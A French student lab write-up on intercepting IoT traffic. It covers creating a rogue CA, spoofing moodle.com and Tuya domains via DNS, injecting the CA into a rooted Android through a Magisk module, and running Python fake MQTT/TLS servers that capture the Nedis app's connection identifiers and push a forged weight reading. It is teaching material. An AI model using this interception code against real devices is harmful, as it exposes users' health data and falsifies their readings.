&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO redaction&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;br /&gt;
On tente donc d'envoyer en clair le poid vers l'application nedis&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;✅ TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;📡 Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;🚀 Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;ℹ️ Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;❌ Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
